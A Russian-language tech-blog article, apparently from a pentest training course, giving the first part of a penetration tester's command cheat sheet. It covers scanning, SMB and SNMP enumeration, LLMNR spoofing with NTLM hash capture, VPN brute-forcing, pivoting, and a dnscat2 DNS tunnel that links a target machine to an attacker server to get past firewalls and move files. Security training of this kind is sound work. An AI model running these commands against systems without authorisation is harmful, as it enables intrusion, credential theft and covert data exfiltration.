Pull to refresh

Начальный уровень подготовки в области практической информационной безопасности

Reading time6 min
Views28K

Вне зависимости от программ обучения, их ключевыми особенностями являются актуальный материал и практическая подготовка в пентест-лабораториях, составляющая 80% от общей программы курса. В данной статье мы разберем базис команд и полезных трюков при проведении тестирования на проникновение внешнего периметра.


Многие новички при работе в специализированных дистрибутивах (Kali Linux, BlackArch, BackBox и др.) сталкиваются с незнанием основного синтаксиса команд и простейшего инструментария при проведении тестирования на проникновение. Действительно, сейчас довольно много утилит и техник их использования, что поневоле "разбегаются глаза", что, когда и в каком случае применять. Для этого мы подготовили краткий справочник по основным командам и утилитам.


Справочник пентестера часть 1


Данный справочник представляет собой список команд, которые могут вам понадобиться при проведении тестирования на проникновение. Данный справочник разработан таким образом, что не предоставляет развернутого описания команд, а лишь приводит рабочие примеры. Для более подробной информации о команде или утилите мы рекомендуем изучить ее man страницу или посетить официальный сайт.


Данный справочник в большей степени затрагивает тестирование сети и инфраструктуры. Тестирование веб-приложений не рассматривается в данном справочнике, за исключением нескольких примеров с sqlmap в конце данного пособия.


Конфигурация сети


Назначение IP-адреса


ifconfig eth0 xxx.xxx.xxx.xxx/24

Информация о подсети


ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0

OSINT (сбор информации)


WHOIS:


whois domain-name-here.com

Выполнение DNS Lookup запросов:


dig @nameserver domainname.com A

Обнаружение MX записей:


dig @nameserver domainname.com MX

Выполнение запроса Zone Transfer используя DIG:


dig @nameserver domainname.com AXFR

DNS Трансфер зоны


Windows DNS трансфер зоны


nslookup -> set type=any -> ls -d blah.com

Linux DNS трансфер зоны


dig @ns1.blah.com blah.com axfr

Email


Используйте Simply Email для сбора почтовых адресов указанного домена из открытых источников (github, target site и т.п.). Утилита работает продуктивнее, если вы используете прокси и большие значения задержек, так, что google не будет считать активность подозрительной и выдавать капчу.


git clone https://github.com/killswitch-GUI/SimplyEmail.git
./SimplyEmail.py -all -e TARGET-DOMAIN

Simply Email может проверять обнаруженные email адреса после сбора.


Ручной finger printing / banner grabbing


Получение информации о SMTP сервисе через баннер


nc -v 192.168.1.1 25
telnet 192.168.1.1 25

Получение баннера при помощи NC


nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>

DNS Брутфорс


DNSRecon


dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml output.xml

Сканирование портов


Nmap сканирование с подробным выводом, метод syn, T4 скорость (подходит для LAN), получение информации о версии ОС и сервисов, traceroute и NSE скрипты в отношении найденных сервисов


nmap -v -sS -A -T4 target

То же, что и выше, сканирование всех TCP, даже если хост не отвечает на ICMP запросы (занимает больше времени)


nmap -v -sS -p- -A -T4 -Pn target

То же, что выше, + сканирование UDP диапазона (требует очень много времени)


nmap -v -sU -sS -p- -A -T4 target

Nmap скрипт для обнаружения уязвимых SMB серверов (ВНИМАНИЕ: unsafe=1 может вызвать ошибку на сервере)


nmap -v -p 445 --script=smb-check-vulns  --script-args=unsafe=1 192.168.1.X

Поиск NSE скриптов по регулярным выражениям


ls /usr/share/nmap/scripts/* | grep ftp

Nmap UDP cканирование


nmap -sU target

UDP Protocol Scanner


git clone https://github.com/portcullislabs/udp-proto-scanner.git

Команда для сканирования IP-адресов из файла по всем сервисам:


./udp-proto-scanner.pl -f ip.txt 

Сканирование определенного UDP сервиса:


udp-proto-scanner.pl -p ntp -f ips.txt

Другие методы для этапа host discovery, без использования nmap


Проверяет, доступен ли хост, путем отправки ARP запроса:


arping 192.168.1.1 -c 1

Обнаруживает IP, MAC адреса в подсети через ARP (может быть полезно для проверки VLAN):


netdiscover -r 192.168.1.0/24

Обнаружение и эксплуатация сетевых сервисов


Обнаружение SMB:


smblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

Обнаруживает Windows/Samba серверы в подсети, определяет Windows MAC адреса, netbios имя и рабочую группу/домен


nbtscan 192.168.1.0/24

Определение версии SMB:


smbclient -L //192.168.1.100

Поиск SMB ресурсов:


nmap -T4 -v -oA shares --script=smb-enum-shares --script-args=smbuser=username,smbpass=password -p445 192.168.1.0/24

Обнаружение SMB пользователей:


nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX

Атака RID Cycling:


ridenum.py 192.168.XXX.XXX 500 50000 dict.txt

Модуль Metasploit для атаки RID cycling:


use auxiliary/scanner/smb/smb_lookupsid 

Null session тестирование в ручном режиме


Windows:


net use \\TARGET\IPC$ "" /u:""

Linux:


smbclient -L //192.168.99.131

NBTScan unixwiz


apt-get install nbtscan-unixwiz 
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan

LLMNR / NBT-NS Spoofing


Metasploit LLMNR / NetBIOS запросы:


Подмена/модификация LLMNR / NetBIOS запросов:


auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response

Перехват NTLM хэшей:


auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm

Для взлома хэша NTLMv2 используйте john или hashcat.
Как альтернативу можно использовать responder.py.


git clone https://github.com/SpiderLabs/Responder.git
python Responder.py -i local-ip -I eth0

SNMP


Исправление SNMP значений в выводе для удобного восприятия:


apt-get install snmp-mibs-downloader download-mibs 
echo "" > /etc/snmp/snmp.conf

Обнаружение SNMP


snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1|  grep hrSWRunName|cut -d* * -f 
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts

Определение SNMPv3 серверов с nmap:


nmap -sV -p 161 --script=snmp-info target-subnet

Скрипт от Rory McCune’s помогает автоматизировать процесс поиска пользователей для SNMPv3:


https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb

Словари Metasploit содержат стандартные учетные данные для SNMP v1 и v2:


/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt

Тестирование TLS & SSL


Тестирует всё на выбранном хосте и выводит в файл:


./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html

Сеть


Перенаправление удаленного порта на локальный:


plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP

SSH Pivoting


ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip

SSH pivoting из одной подсети в другую:


ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1

(добавьте socks4 127.0.0.1 1010 в /etc/proxychains.conf)


proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2

(добавьте socks4 127.0.0.1 1011 в /etc/proxychains.conf)


Meterpreter Pivoting


portfwd add –l 3389 –p 3389 –r target
portfwd delete –l 3389 –p 3389 –r target

VLAN Hopping


Использование NCCGroups VLAN скприпт для Yersina упрощает процесс.


git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh 

Обнаружение VPN серверов


./udp-protocol-scanner.pl -p ike TARGET(s)

Сканирование диапазона VPN серверов:


./udp-protocol-scanner.pl -p ike -f ip.txt

Использование IKEForce для обнаружения или словарной атаки на VPN серверы.


pip install pyip
git clone https://github.com/SpiderLabs/ikeforce.git

Выполните обнаружение IKE VPN с помощью IKEForce:


./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic

Брутфорс IKE VPN с помощьюIKEForce:


./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key

Туннелирование трафика через DNS для обхода firewall


dnscat2 поддерживает “download” и “upload” команды для получения файлов (данные или программы) на и с целевой машины.
Машина атакующего:


apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install

Запуск dnscat2:


ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422

Атакуемая машина:


https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
dnscat --host <dnscat server_ip>



В следующих статьях я дополню справочник командами и трюками эксплуатации уязвимостей, брутфорса сетевых сервисов, примерами командных оболочек и т.д.

Tags:
Hubs:
If this publication inspired you and you want to support the author, do not hesitate to click on the button
+32
Comments3

Articles